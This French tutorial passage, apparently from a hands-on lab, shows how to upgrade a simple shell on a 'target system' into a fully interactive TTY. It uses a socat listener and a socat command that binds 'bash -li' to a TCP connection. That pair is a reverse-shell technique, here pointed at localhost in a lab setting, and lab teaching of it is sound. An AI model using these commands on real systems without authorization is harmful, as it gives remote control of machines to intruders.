Mise à niveau en un shell interactif complet avec Socat
Pour une solution plus complète, nous pouvons utiliser l'utilitaire socat
pour obtenir un shell interactif complet avec prise en charge de toutes les fonctionnalités, y compris la complétion par tabulation, la navigation dans l'historique et la compatibilité avec les éditeurs de texte.
Tout d'abord, vérifiez si socat
est installé sur le système cible en exécutant la commande suivante :
which socat
Si socat
est disponible, suivez ces étapes :
-
Ouvrez une nouvelle fenêtre de terminal
et démarrez un écouteur sur le port 5912
en utilisant la commande socat
suivante :
socat file:$(tty),raw,echo=0 tcp-listen:5912
Attendez que la connexion soit établie.
-
Dans le shell simple, exécutez la commande suivante pour vous connecter à l'écouteur et mettre à niveau le shell en un shell interactif complet :
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912
-
Revenez à la fenêtre de terminal où vous avez configuré l'écouteur, vous devriez voir une connexion établie avec le système cible. Vous devriez maintenant avoir un shell entièrement interactif avec toutes les fonctionnalités attendues d'une session de terminal normale.
Exemple de sortie :
labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912
labex@660d5d5ee229593d40db9301:~$
Testez le nouveau shell interactif en utilisant des commandes telles que cat
, ssh
, vim
et en naviguant dans l'historique des commandes à l'aide des touches fléchées haut et bas.